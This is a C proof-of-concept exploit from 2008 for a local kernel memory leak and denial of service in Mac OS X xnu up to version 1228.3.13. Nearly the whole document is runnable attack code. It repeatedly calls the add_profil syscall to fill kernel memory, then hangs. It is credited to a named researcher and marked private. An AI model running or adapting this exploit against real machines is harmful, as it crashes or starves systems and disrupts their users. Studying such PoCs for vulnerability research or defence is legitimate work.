Mac OS X xnu <= 1228.3.13 (profil) Kernel Memory Leak/DoS PoC

                                                /* xnu-profil-leak.c
 *
 * Copyright (c) 2008 by <[email protected]>
 *
 * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sat 16 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

/* profil defines */
#define PROFIL_LEAK_NUM   65536 * 128

int
main (int argc, char **argv)
{
  char buf[1024];
  int i, n;

  printf (\"Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\\n\"
          \"by: <[email protected]>\\n\"
          \"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\\n\\n\");

  printf (\"* opening profil, pid: %d...\", getpid ());
  if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0)
    {
      fprintf (stderr, \"\\n%s: syscall [SYS_profil]: failed: %d\\n\",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf (\"done\\n\");

  printf (\"* filling %d-bytes of kernel memory...\\n\", PROFIL_LEAK_NUM * 32);
  fflush (stdout);

  for (i = 0; i < PROFIL_LEAK_NUM; i++)
    {
      if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) < 0)
        {
          fprintf (stderr, \"\\n%s: syscall [SYS_add_profil]: failed: %d\\n\",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf (\"** %d-bytes filled\\r\",  i * 32);
    }
  printf (\"\\n* done\\n\");

  while (1)
    sleep (1);

  return (EXIT_SUCCESS);
}